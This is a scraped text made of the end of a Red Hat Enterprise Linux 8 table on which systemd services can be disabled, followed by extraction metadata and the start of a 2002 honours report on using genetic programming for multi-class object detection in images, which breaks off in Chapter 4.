using the <code>systemctl disable auditd</code> command, you only disable the service, but not the kernel part. To disable system auditing in its entirety, set <code>audit=0</code> on kernel command line.</td> </tr> <tr> <td><a href="mailto:autovt@.service">autovt@.service</a></td> <td>no</td> <td>This service runs only when it is really needed, so it does not need to be disabled.</td> </tr> <tr> <td>crond.service</td> <td>yes</td> <td>Be aware that no items from crontab will run if you disable <code>crond.service</code>.</td> </tr> <tr> <td>dbus-org.fedoraproject.FirewallD1.service</td> <td>yes</td> <td>A symlink to <code>firewalld.service</code></td> </tr> <tr> <td>dbus-org.freedesktop.NetworkManager.service</td> <td>yes</td> <td>A symlink to <code>NetworkManager.service</code></td> </tr> <tr> <td>dbus-org.freedesktop.nm-dispatcher.service</td> <td>yes</td> <td>A symlink to <code>NetworkManager-dispatcher.service</code></td> </tr> <tr> <td>firewalld.service</td> <td>yes</td> <td>Disable <code>firewalld.service</code> only if you do not need firewall.</td> </tr> <tr> <td><a href="mailto:getty@.service">getty@.service</a></td> <td>no</td> <td>This service runs only when it is really needed, so it does not need to be disabled.</td> </tr> <tr> <td>import-state.service</td> <td>yes</td> <td>Disable <code>import-state.service</code> only if you do not need to boot from a network storage.</td> </tr> <tr> <td>irqbalance.service</td> <td>yes</td> <td>Disable <code>irqbalance.service</code> only if you have just one CPU. Do not disable <code>irqbalance.service</code> on systems with multiple CPUs.</td> </tr> <tr> <td>kdump.service</td> <td>yes</td> <td>Disable <code>kdump.service</code> only if you do not need reports from kernel crashes.</td> </tr> <tr> <td>Service name</td> <td>Can it be disabled?</td> <td>More information</td> </tr> <tr> <td>----------------------------------</td> <td>---------------------</td> <td>--------------------------------------------------------------------------------------------------------------------------------------------------</td> </tr> <tr> <td>loadmodules.service</td> <td>yes</td> <td>This service is not started unless the <code>/etc/rc.modules</code> or <code>/etc/sysconfig/modules</code> directory exists, which means that it is not started on a minimal RHEL installation.</td> </tr> <tr> <td>lvm2-monitor.service</td> <td>yes</td> <td>Disable <code>lvm2-monitor.service</code> only if you do not use Logical Volume Manager (LVM).</td> </tr> <tr> <td>microcode.service</td> <td>no</td> <td>Do not disable the service because it provides updates of the microcode software in CPU.</td> </tr> <tr> <td>NetworkManager-dispatcher.service</td> <td>yes</td> <td>Disable <code>NetworkManager-dispatcher.service</code> only if you do not need notifications on network configuration changes (for example in static networks).</td> </tr> <tr> <td>NetworkManager-wait-online.service</td> <td>yes</td> <td>Disable <code>NetworkManager-wait-online.service</code> only if you do not need working network connection available right after the boot. If the service is enabled, the system does not finish the boot before the network connection is working. This may prolong the boot time significantly.</td> </tr> <tr> <td>NetworkManager.service</td> <td>yes</td> <td>Disable <code>NetworkManager.service</code> only if you do not need connection to a network.</td> </tr> <tr> <td>nis-domainname.service</td> <td>yes</td> <td>Disable <code>nis-domainname.service</code> only if you do not use Network Information Service (NIS).</td> </tr> <tr> <td>rhsmcertd.service</td> <td>no</td> <td>No</td> </tr> <tr> <td>rngd.service</td> <td>yes</td> <td>Disable <code>rngd.service</code> only if you do not need much entropy on your system, or you do not have any sort of hardware generator. Note that the service is necessary in environments that require a lot of good entropy, such as systems used for generation of X.509 certificates (for example the FreeIPA server).</td> </tr> <tr> <td>rsyslog.service</td> <td>yes</td> <td>Disable <code>rsyslog.service</code> only if you do not need persistent logs, or you set <code>systemd-journald</code> to persistent mode.</td> </tr> <tr> <td>selinux-autorelabel-mark.service</td> <td>yes</td> <td>Disable <code>selinux-autorelabel-mark.service</code> only if you do not use SELinux.</td> </tr> <tr> <td>sshd.service</td> <td>yes</td> <td>Disable <code>sshd.service</code> only if you do not need remote logins by OpenSSH server.</td> </tr> </tbody> </table> Red Hat Enterprise Linux 8 Using systemd unit files to customize and optimize your system <table> <thead> <tr> <th>Service name</th> <th>Can it be disabled?</th> <th>More information</th> </tr> </thead> <tbody> <tr> <td>sssd.service</td> <td>yes</td> <td>Disable <code>sssd.service</code> only if there are no users who log in the system over the network (for example by using LDAP or Kerberos). Red Hat recommends to disable all <code>sssd-*</code> units if you disable <code>sssd.service</code>.</td> </tr> <tr> <td>syslog.service</td> <td>yes</td> <td>An alias for <code>rsyslog.service</code></td> </tr> <tr> <td>tuned.service</td> <td>yes</td> <td>Disable <code>tuned.service</code> only if you do need to use performance tuning.</td> </tr> <tr> <td>lvm2-lvmpolld.socket</td> <td>yes</td> <td>Disable <code>lvm2-lvmpolld.socket</code> only if you do not use Logical Volume Manager (LVM).</td> </tr> <tr> <td>dnf-makecache.timer</td> <td>yes</td> <td>Disable <code>dnf-makecache.timer</code> only if you do not need your package metadata to be updated automatically.</td> </tr> <tr> <td>unbound-anchor.timer</td> <td>yes</td> <td>Disable <code>unbound-anchor.timer</code> only if you do not need daily update of the root trust anchor for DNS Security Extensions (DNSSEC). This root trust anchor is used by Unbound resolver and resolver library for DNSSEC validation.</td> </tr> </tbody> </table> To find more information about a service, use one of the following commands: ``` $ systemctl cat <service_name> ``` ``` $ systemctl help <service_name> ``` The `systemctl cat` command provides the content of the respective `/usr/lib/systemd/system/<service>` service file, as well as all applicable overrides. The applicable overrides include unit file overrides from the `/etc/systemd/system/<service>` file or drop-in files from a corresponding `unit.type.d` directory. Additional resources - The `systemd.unit(5)` man page - The `systemd help` command that shows the man page of a particular service ### 2.3. ADDITIONAL RESOURCES - `systemctl(1)` man page - `systemd(1)` man page - `systemd-delta(1)` man page - `systemd.directives(7)` man page - **systemd.unit**(5) man page - **systemd.service**(5) man page - **systemd.target**(5) man page - **systemd.kill**(5) man page - **systemd Home Page**
{"Source-Url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/pdf/using_systemd_unit_files_to_customize_and_optimize_your_system/red_hat_enterprise_linux-8-using_systemd_unit_files_to_customize_and_optimize_your_system-en-us.pdf", "len_cl100k_base": 11258, "olmocr-version": "0.1.51", "pdf-total-pages": 30, "total-fallback-pages": 0, "total-input-tokens": 57291, "total-output-tokens": 11688, "length": "2e13", "weborganizer": {"__label__adult": 0.0002808570861816406, "__label__art_design": 0.0005364418029785156, "__label__crime_law": 0.00018143653869628904, "__label__education_jobs": 0.0010766983032226562, "__label__entertainment": 0.0001589059829711914, "__label__fashion_beauty": 0.00012540817260742188, "__label__finance_business": 0.0015430450439453125, "__label__food_dining": 0.0001767873764038086, "__label__games": 0.0009002685546875, "__label__hardware": 0.0019664764404296875, "__label__health": 0.00015115737915039062, "__label__history": 0.00026869773864746094, "__label__home_hobbies": 0.0001398324966430664, "__label__industrial": 0.0004427433013916016, "__label__literature": 0.0001881122589111328, "__label__politics": 0.0003154277801513672, "__label__religion": 0.0002894401550292969, "__label__science_tech": 0.0290679931640625, "__label__social_life": 0.00011211633682250977, "__label__software": 0.141357421875, "__label__software_dev": 0.81982421875, "__label__sports_fitness": 0.0001246929168701172, "__label__transportation": 0.00029969215393066406, "__label__travel": 0.0002065896987915039}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 50716, 0.01238]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 50716, 0.16626]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 50716, 0.74312]], "google_gemma-3-12b-it_contains_pii": [[0, 158, false], [158, 158, null], [158, 315, null], [315, 476, null], [476, 3044, null], [3044, 3044, null], [3044, 3400, null], [3400, 3881, null], [3881, 6722, null], [6722, 8763, null], [8763, 10600, null], [10600, 13781, null], [13781, 15413, null], [15413, 17267, null], [17267, 18806, null], [18806, 20813, null], [20813, 24003, null], [24003, 26660, null], [26660, 29428, null], [29428, 31211, null], [31211, 32915, null], [32915, 34417, null], [34417, 36338, null], [36338, 38056, null], [38056, 39381, null], [39381, 40251, null], [40251, 44767, null], [44767, 48083, null], [48083, 50564, null], [50564, 50716, null]], "google_gemma-3-12b-it_is_public_document": [[0, 158, true], [158, 158, null], [158, 315, null], [315, 476, null], [476, 3044, null], [3044, 3044, null], [3044, 3400, null], [3400, 3881, null], [3881, 6722, null], [6722, 8763, null], [8763, 10600, null], [10600, 13781, null], [13781, 15413, null], [15413, 17267, null], [17267, 18806, null], [18806, 20813, null], [20813, 24003, null], [24003, 26660, null], [26660, 29428, null], [29428, 31211, null], [31211, 32915, null], [32915, 34417, null], [34417, 36338, null], [36338, 38056, null], [38056, 39381, null], [39381, 40251, null], [40251, 44767, null], [44767, 48083, null], [48083, 50564, null], [50564, 50716, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 50716, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 50716, null]], "pdf_page_numbers": [[0, 158, 1], [158, 158, 2], [158, 315, 3], [315, 476, 4], [476, 3044, 5], [3044, 3044, 6], [3044, 3400, 7], [3400, 3881, 8], [3881, 6722, 9], [6722, 8763, 10], [8763, 10600, 11], [10600, 13781, 12], [13781, 15413, 13], [15413, 17267, 14], [17267, 18806, 15], [18806, 20813, 16], [20813, 24003, 17], [24003, 26660, 18], [26660, 29428, 19], [29428, 31211, 20], [31211, 32915, 21], [32915, 34417, 22], [34417, 36338, 23], [36338, 38056, 24], [38056, 39381, 25], [39381, 40251, 26], [40251, 44767, 27], [44767, 48083, 28], [48083, 50564, 29], [50564, 50716, 30]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 50716, 0.15356]]}
olmocr_science_pdfs
2024-12-04
2024-12-04
e48da1c398b73ef0370e422e681d33a1ecd9b2ff
[REMOVED]
{"Source-Url": "https://repository.upenn.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=1798&context=cis_reports", "len_cl100k_base": 14854, "olmocr-version": "0.1.51", "pdf-total-pages": 23, "total-fallback-pages": 0, "total-input-tokens": 60915, "total-output-tokens": 16944, "length": "2e13", "weborganizer": {"__label__adult": 0.0004336833953857422, "__label__art_design": 0.0004680156707763672, "__label__crime_law": 0.00046539306640625, "__label__education_jobs": 0.0012226104736328125, "__label__entertainment": 9.953975677490234e-05, "__label__fashion_beauty": 0.00022351741790771484, "__label__finance_business": 0.0004031658172607422, "__label__food_dining": 0.0005078315734863281, "__label__games": 0.0009069442749023438, "__label__hardware": 0.0014553070068359375, "__label__health": 0.0008893013000488281, "__label__history": 0.00042724609375, "__label__home_hobbies": 0.00013625621795654297, "__label__industrial": 0.0007052421569824219, "__label__literature": 0.00060272216796875, "__label__politics": 0.0004887580871582031, "__label__religion": 0.0008206367492675781, "__label__science_tech": 0.10809326171875, "__label__social_life": 0.00012063980102539062, "__label__software": 0.006195068359375, "__label__software_dev": 0.8740234375, "__label__sports_fitness": 0.0003294944763183594, "__label__transportation": 0.0008702278137207031, "__label__travel": 0.00021696090698242188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 53417, 0.01672]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 53417, 0.74366]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 53417, 0.84032]], "google_gemma-3-12b-it_contains_pii": [[0, 760, false], [760, 2070, null], [2070, 2443, null], [2443, 4765, null], [4765, 7702, null], [7702, 10992, null], [10992, 13813, null], [13813, 16688, null], [16688, 19678, null], [19678, 21759, null], [21759, 24338, null], [24338, 26790, null], [26790, 29245, null], [29245, 31543, null], [31543, 33868, null], [33868, 36024, null], [36024, 38937, null], [38937, 41577, null], [41577, 43998, null], [43998, 47783, null], [47783, 50677, null], [50677, 52122, null], [52122, 53417, null]], "google_gemma-3-12b-it_is_public_document": [[0, 760, true], [760, 2070, null], [2070, 2443, null], [2443, 4765, null], [4765, 7702, null], [7702, 10992, null], [10992, 13813, null], [13813, 16688, null], [16688, 19678, null], [19678, 21759, null], [21759, 24338, null], [24338, 26790, null], [26790, 29245, null], [29245, 31543, null], [31543, 33868, null], [33868, 36024, null], [36024, 38937, null], [38937, 41577, null], [41577, 43998, null], [43998, 47783, null], [47783, 50677, null], [50677, 52122, null], [52122, 53417, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 53417, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 53417, null]], "pdf_page_numbers": [[0, 760, 1], [760, 2070, 2], [2070, 2443, 3], [2443, 4765, 4], [4765, 7702, 5], [7702, 10992, 6], [10992, 13813, 7], [13813, 16688, 8], [16688, 19678, 9], [19678, 21759, 10], [21759, 24338, 11], [24338, 26790, 12], [26790, 29245, 13], [29245, 31543, 14], [31543, 33868, 15], [33868, 36024, 16], [36024, 38937, 17], [38937, 41577, 18], [41577, 43998, 19], [43998, 47783, 20], [47783, 50677, 21], [50677, 52122, 22], [52122, 53417, 23]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 53417, 0.0]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
f93f45e5a6d14aa41e88525296828567cc04cf85
Genetic Programming for Multi-Class Object Detection Mark Pritchard 300040217 Supervisor: Mengjie Zhang and Peter Andreae October 19, 2002 Submitted in partial fulfilment of the requirements for Bachelor of Science with Honours in Computer Science. Abstract Computer vision techniques are being used more frequently than ever before. One of the most useful and most challenging tasks in computer vision is object detection. Object detection is the process of locating small objects within large images. This project examines the use of Genetic Programming, a learning paradigm, to solve the multi-class object detection problem. Object detection becomes multi-class object detection when there are a number of different categories of object in the image. This report looks at two sets of images one set is easy computer generated image of squares and circles, and the other is five and ten cent coins. This report presents techniques that can successfully be applied to those images to solve the multi-class object detection problem. ## Contents 1 Introduction .......................... 1 1.1 Goals .................................. 1 2 Computer Vision ........................ 3 2.1 Feature Extraction ..................... 3 2.2 Localisation .......................... 3 2.3 Classification ........................ 4 2.4 Detection ............................ 4 3 Genetic Programming ........................ 6 3.1 Terminals and Functions ............... 6 3.2 Program Generation ................... 6 3.3 Crossover ................................ 8 3.4 Mutation ................................ 9 3.5 Reproduction .......................... 9 3.6 Fitness ............................... 10 3.7 Problems (areas of concern with GP) .. 10 4 Tasks .................................. 13 4.1 Easy Task ............................. 13 4.2 Coins Task ............................ 13 5 Methodology ................................ 16 5.1 Classification Strategy ............... 16 5.2 Terminals ............................. 16 5.2.1 Feature Extraction .................. 17 5.2.2 Easy Images ........................ 17 5.2.3 Coins 5-10 .......................... 18 5.2.4 Evaluating the Usefulness of Terminals . 18 5.3 Functions ............................. 19 5.4 Clustering ............................. 20 5.5 Fitness ............................... 20 6 Results ................................ 22 6.1 Easy .................................. 22 6.2 Coins 5-10 ............................ 23 7 Future Work ............................. 28 7.1 Improving Crossover and Mutation .... 28 7.2 Heating of Constants .................. 28 Chapter 1 Introduction This project examines the problem of multi-class object detection. Given an image containing many objects of different categories, the multi-class object detection problem is to identify the location and category of every object in the image. The project explores the use of Genetic Programming (GP) techniques to solve the multi-class object detection problem. GP is an evolutionary computing process based on Darwin’s theory of natural selection. The GP process is a searching/learning process that searches for a program that will solve a given problem. The programs that it searches are programs that the process itself constructs. GP constructs these programs out of a set of primitives that are specified by the user. The GP process initially, randomly constructs a population of programs and assigns a fitness to them via a fitness function. This fitness is a measure of the effectiveness of the program at solving the problem. The multi-class object detection problem is difficult because it involves two subproblems. The first subproblem is localisation — the process of identifying the centers of objects of interest. The second subproblem is classification — the process of classifying what class (group) an object belongs to. The detection problem is made more difficult because there are multiple classes of objects that are being classified and localised at the same time. The more different classes there are, the more difficult the classification process becomes because there are more possible outputs that the classifier can have. The approach used in this project is to map pixel statistics from the problem domain to the inputs of the GP process. This means that the only inputs/terminals that the system uses are based on pixel statistics from the images being processed. Pixel statistics are statistics like mean or standard deviation that are applied to the raw pixels of small regions in the image and then used as inputs. The pixel statistic produced relates to the center of the region, from which it came. The benefit of using this approach is that the pixel statistics are domain independent. Having domain independent pixels statistics allows the GP process to be applied to many different object detection problems without changing the inputs that the process uses. 1.1 Goals The key goal of this project was to show that Genetic Programming can be used to solve multi-class object detection problems. This goal can be broken into 3 sub-goals: 1. Find an appropriate function set for GP object detection. 2. Find an appropriate set of domain independent pixel statistics for object detection. 3. Find an appropriate fitness function for evaluation of a program’s effectiveness at solving a detection problem where clustering is performed. This project begins by looking at simple computer generated images that have uniform background and two object classes of interest. Then it examines the effectiveness of GP for object detection on coins. These coins were New Zealand currency 5 and 10 cent pieces. Chapter 2 Computer Vision Computer vision is any process that uses images as inputs, where those inputs are then processed and the results are then acted on by the computer. For example, a fingerprint scanner takes an image of your finger, processes it and if there is a match, it then retrieves the relevant information on that person. In this project, the computer vision techniques that are used include feature extraction, localisation, classification, and detection. Each of these techniques is described in the following sections. 2.1 Feature Extraction Feature extraction is the process where images are converted into feature vectors. These vectors represent each pixel in the image. Often these features can involve neighbouring pixels or regions as well as the central pixel, this sort of feature is called a pixel statistic. Pixel statistics are statistics based on pixel intensities, that are centered at the center of the region. The region or input window is a fixed size and is moved one pixel at a time. Each time the input window moves a new pixel statistic is calculated, the result relates to the central pixel of the input window. An example of a pixel statistic is the mean. The mean statistic is calculated by summing the intensities of the pixels that are within the window, the sum is then divided by the number of pixels within the window and the result is one entry in the feature vector for the pixel that is at the center of the input window. This window can move across one pixel at a time and pixel statistics can be calculated for each pixel. Then the window can return to the start of the row and move down one pixel. This method is called the sweeping window method. 2.2 Localisation Localisation is the process of finding the locations of, the centers of objects in a large image. The process of localisation does not attempt to identify what sort of object is at a specific point, rather it just identifies the position of "some" object. Localisation can be done in three different ways: before classification (identifying what the object is), after classification, or during classification. Localisation before classification would need to use some form of edge detection, then use those edges to identify some object centers. If an object was not found by localisation then the classification method would never classify the missed object. Localisation after classification would also be difficult because all possible objects have been classified which then means that the localisation process has to cluster the classifications together. This means that the following problem can occur. Suppose our classifier classifies each region center as classes 1, 2, or 3 as shown in Table 2.1. It would be very hard to tell what is a center and what not. There could be four small objects each of class 1 or just one big object of class 3. The other concern when doing this process is that the classification process must be applied to all the possible object positions rather than just those that are actual objects. The problem is that training time can get quite significant if there are a lot of possible objects or a lot of processing is required to classify each possible object. This is a significant concern, and is explained further in Chapter 3. 2.3 Classification Classification is the process of identifying what type of object the input is. Classification is simply a process that groups inputs into classes. It does not do any localisation, it just classifies the input. This means that it is only applied to a single object. i.e. the classifier is given a region as input and the classifier returns the class which that region belongs to. There are a number of classification methods that can be used to classify objects in images. Some of these are: 1. Nearest neighbour: Where all training cases are stored, then the test data is compared to the training cases and classified as the same class of object as the most similar training case. 2. Nearest Centroid: Where the average value from each class’s training examples are stored, then the test cases are compared to those average values for each class and classified as the class for which it is the most similar to. 3. Template matching: Where a template for each class is created, that template is then compared to each object and if the object is within some threshold it is classified as that class. 4. GP Classifier: Where the training case is used to construct a program that classifies the objects in some way. Each test case is used as input into the program that the GP system has constructed and the program outputs the class that the input belongs to. 2.4 Detection Object detection is the process in which objects are localised and classified. There are two sorts of detection: 1) two stage detection, 2) one stage detection. Two stage detection uses the first stage to localise the objects; these localised objects are then used as inputs to the classifier. A problem occurs where the localisation process fails to locate an object— the classifier will not get a chance to attempt to classify that object. One stage detection is where both detection and localisation are applied in a single operation. This is usually done using a sweeping window approach. The benefit of using this method is that the process gets applied to every possible object. Chapter 3 Genetic Programming Genetic Programming (GP) is an evolutionary computing process that was introduced by John Koza [4, 5]. It is based on Darwin’s theory of natural selection that the strongest will survive. GP is an extension of Genetic Algorithms. Instead of using bit strings like Genetic Algorithms, GP uses tree structures consisting of primitives. Primitives are functions and terminals that can be used to construct tree structured programs. The essential idea of GP is that a population of programs are randomly constructed at the beginning of the process. After the initial population is constructed, each program is evaluated on a training set and given a fitness. This fitness is a measure of how well the program perform on the training set. Genetic operators are applied to a number of the programs to produce a new generation of the population that can then be evaluated. The genetic operators are crossover, mutation and reproduction. These genetic operators are discussed in detail in the following sections. The process of performing genetic operators and evaluating programs continues for a certain number of generations or until a user defined fitness level has been achieved. 3.1 Terminals and Functions GP constructs tree structured programs that consist of terminals and functions. Terminals are inputs from the problem and functions are operations that combine terminals. For example one possible function set might be $+, -, \ast, /$. A terminal set might be $F1, F2, F3, F4, F5$, where $F1$ is feature 1, $F2$ is feature 2 and so on. One possible program that could be constructed is \((\ast (- F1 (+ F4 F5)) F1)\). GP must be told the number of arguments a function needs so that it can create a tree structure that has enough terminals in the right place to be a correct program. For example, if the function set included $\text{Abs}$ (the absolute value) only takes one argument, the GP process should stop construction of anything like $\text{Abs}(F1 F2)$. However $\text{Abs}((+ F1 F2))$ should be allowed to occur. 3.2 Program Generation The initial generation is randomly constructed, based on population size, maximum program size and program creation method. There are two possible creation methods, $\text{grow}$ and $\text{full}$[4, 5]. The full creation method requires that all programs (trees) that are generated are fully balanced. The grow method however produces unbalanced programs (trees). Another standard restriction on the initial generation is that there should be no duplication of programs. The requirement of no duplicates is not always maintained after the first generation. This means that other generations can have duplicates and there can of course be duplicates between generations. After the initial population is produced, a fitness function is applied to each program. After the fitness has been evaluated for each program in the current generation, the three genetic operators crossover, mutation, and reproduction are applied at user-defined rates. This is usually done with the user specifying the percentage of the next generation that will be generated by each of the three operators. Mutation and reproduction are usually applied to the best $m$ and $r$ programs, where $m$ and $r$ is the number of programs that are to be produced for the next generation by mutation and reproduction respectively. This means that the best $r$ programs will be reproduced in the next generation. Reproduction is important, otherwise we can get a new generation whose best fitness is worse than the best fitness of the previous generation. Also the top $m$ programs are mutated. This means that programs that are close to the best programs we have seen so far are searched. Selecting the programs to apply the crossover operator to can be done in three ways. Firstly, it can be done completely randomly. Secondly, it can be done by choosing the best $c$ programs, where $c$ is the number of programs to be produced for the next generation by crossover. Once the top $c$ programs are selected, random selection of crossover pairs, with or without replacement can occur. Thirdly, the top $\frac{c}{2}$ programs are selected and a random partner can be selected for the program from the total population. Once the genetic operators have been applied, their outputs are combined to make the next generation. This generation can then be evaluated, fitness value can be assigned to each program, and the whole process can begin again, unless a stopping condition has been reached. There are generally two stopping conditions; the first is that a program has a fitness that is below the user defined fitness to stop training at; the second is that a user defined number of generations have been completed. This stopping condition is generally there just to stop training if the fitness is taking too long or is not going to get to the stopping fitness. 3.3 Crossover Crossover is one of the operations that can be applied between generations. Crossover works by selecting two programs from the current population, and swapping a randomly selected sub-tree from each program with the other program’s sub-tree (see Figure 3.2 on page 8). In the example of crossover in Figure 3.2, the two programs that the crossover operator is being applied to are P1 and P2. The two programs are selected from the current generation. Then sub-trees are chosen at random at A and B. These two sub-trees are then swapped over. The resulting programs are then placed into the new generation. In general, the programs that have better fitness are crossed over more than those with worse fitness. This means that the next generation is influenced more by the “stronger” members of the current generation. The ideal case for crossover is when there are two programs P1 and P2, where P1 and P2 have partially correct trees. However each program has one sub-tree that is not correct for the tree but is correct for the alternative program. If these two sub-trees are swapped, then both resulting programs are correct. This is very unlikely to happen. However, what is more likely to happen is for P1 to be almost correct except for a sub-tree in P1. P2 has a sub-tree that would make P1 correct. When crossover is applied on these two programs with the correct sub-trees, P1 becomes correct but P2 could be better or worse. The worst case of crossover is when P1 and P2 are almost correct but crossover is applied on a large sub-tree of the the correct section of the programs. In this case, it is quite possible for both of the new programs to be worse than the previous programs (see Chapter 7 for more on this issue). Figure 3.2: An example of crossover 3.4 Mutation Mutation is another key operator that generates new programs. The mutation operator takes one program as input and produces one program as output. The mutation operator first selects a program from the population. Then the operator chooses a random sub-tree. This random sub-tree is then removed and a new subtree created using the same methods as program creation in the initial population. This sub-tree is then attached where the old sub-tree was deleted from. This is shown in Figure 3.3. As the figure shows, the subtree that is selected is A. A is then deleted and a new tree B is created and attached where A was. A and B can be a completely different depth and shape. The best case for mutation is where a program P1 is almost correct except for sub-tree A. If B is the sub-tree that should be where A is, then the new program will be correct when mutation is applied. The worst case however is when A is a correct part of the program and B is not correct. In this case the new program will be worse than the old program. ![Figure 3.3: An example of mutation](image) 3.5 Reproduction Reproduction is the third operator applied to programs from one generation to the next. Reproduction copies a program from the current generation into the new generation. This operation does not change the program at all — it merely copies it from one generation to the next. This is applied to the top n percent of the population. The goal of this operator is to make sure that the best program in the new generation is at least as good as the best program in the old generation. As mentioned in the previous two sections, crossover and mutation could produce programs that are intact worse than the current generation. Therefore it is important to keep the best program(s) from the current generation in the new generation. If this did not occur, then the the GP process could produce a good program and then in the next generation make a whole population of programs that are worse than the previous best. The use of reproduction means that the best program from the newest generation is the best program that has been seen so far. The use of reproduction however does reduce the amount of crossover and mutation that can occur in each generation as the population size must remain the same from one generation to the next. This means that if we have a population of 100 programs and we reproduce 10% of the programs, then only 90% of the programs in the new generation can be new. It is for this reason that the proportion of reproduction needs to be carefully considered. 3.6 Fitness The fitness of a program is the measure of the effectiveness of a program at solving the problem. Fitness is often calculated as an error rate, thus the smaller the fitness, the better. As the fitness of a program affects the chances that an operator like crossover, mutation and reproduction is applied to it, the fitness is very important. What is even more important is that the fitness really does reflect the accuracy of the program at solving the problem. If a program solves the problem but the fitness reported is not zero, then the GP process will continue. It is therefore crucial that the fitness function is correct. It needs to be expressive enough to show minor improvements in the program as minor improvements in fitness and major improvements in programs as major improvements in fitness. For object detection one possible fitness function is \[ \text{fitness} = (1 - \text{Detection Rate}) + \text{False Alarm Rate} \] This is a basic fitness function where detection rate (DR) is the number of objects correctly detected divided by the number of desired objects. The DR can range between 0 and 1. The False Alarm Rate (FAR) is the number of objects that are incorrectly classified divided by the number of desired objects. This can range from zero to all the possible centers of windows divided by the number of objects desired. As a result of the varying ranges of the DR and FAR, constant factors are added to weight DT and FAR differently \[ \text{fitness} = a \times (1 - \text{DR}) + c \times \text{FAR} \] these two constant factors are also useful for domain specific problems where DR or FAR is more important than the other. If, for example, in some problem it is very important that the DR is perfect, then the value of \(a\) can be increased thus putting more importance on DR. If the reverse is true and FAR is more important than DR then \(c\) can be increased. This fitness function is sufficient for detection problems however as shown later in this paper the function is insufficient to show minor improvements in program performance when the outputs are clustered. 3.7 Problems (areas of concern with GP) There are a number of issues that need to be considered when using GP. They are: 1. Overfitting of training data. 2. Training time. 3. Crossover and mutation subtree selection. 4. Irrelevant program subtrees. As with any learning system, there is a danger of overfitting the data. Overfitting the data is where a system learns a model that works very well on the training data but does not capture the underlying model that the data comes from, and therefore performs poorly on test data. An example of overfitting can be seen in Figure 3.4 on page 12. Notice that in the figure the learnt model matches all the training data, however the function does not model the test data, this is because overfitting has occurred. Overfitting can be caused by a number of things, two common causes are training for too long and not enough having enough training cases. One of the biggest problems with the GP process is that as the number of feature vectors (or fitness cases) increases so does the training time. This is a concern because every program in every generation must be evaluated against all of the fitness cases. This means that if the population size is 500 and training runs for 200 generations, for each fitness case added there is an extra 100,000 fitness cases evaluated. Evaluation of each fitness case consists of \( x \) number of calls to the evaluate method (where \( x \) is the number of primitives in the program). This means that for each fitness case, there are 100,000*\( x \) method calls. The value of \( x \) is likely to be significant in most cases as programs are often produced with a depth 10 which could contain hundreds of primitives. This would mean that to evaluate a single fitness case for each program for each generation will take approximately 1,000,000 method calls. When there are 80,000 fitness cases, the number of method calls rises to 80,000,000,000. This means that training can take days. There are a number of possible solutions to this including caching evaluation method results or not recalculating programs that are in the new generation if they were reproduced from the previous generation. Reproduced programs should already have a fitness associated with them so not reevaluating them is acceptable. Mutation and crossover both select subtrees to change randomly. This is not likely to be very effective as randomly selecting subtrees is likely to affect the current program negatively. A better way of selecting subtrees would be to find a subtree or subtrees that are “bad”. In this case bad means, that given the rest of the program, the subtree produces results that are not as “positive” as the rest of the subtrees, for some sense of “positive”. The idea then is that subtrees that are not helping or are not good for a program are changed either by mutation or crossover. For more information on this see 7 on page 28. The final concern with GP is that the programs that it constructs often contain redundant subtrees. For example, the program \((+ (- x x) (+ x y))\) is simply \((+ x y)\). However, the GP often produces such programs. One approach is to eliminate programs with redundant subtrees between generations. However, this could have the disadvantage of causing be set of programs to converge to an overly small set of small programs. On the other hand, leaving the redundancy in the programs until the final generation means that crossover is more likely to be crossing over programs that are not helpful. These problems have been considered during this project and effort has gone into minimizing the effects of these problems. Figure 3.4: Graph of the training data and a model that is learnt from the data Chapter 4 Tasks Two different tasks were examined in this research. Each of the tasks was designed to test the whether the goals mentioned in the introduction were achieved. These were each of different degrees of difficulty. The first task was detecting squares and circles on a uniform background. The second task was detecting 5 and 10 cent coins on a 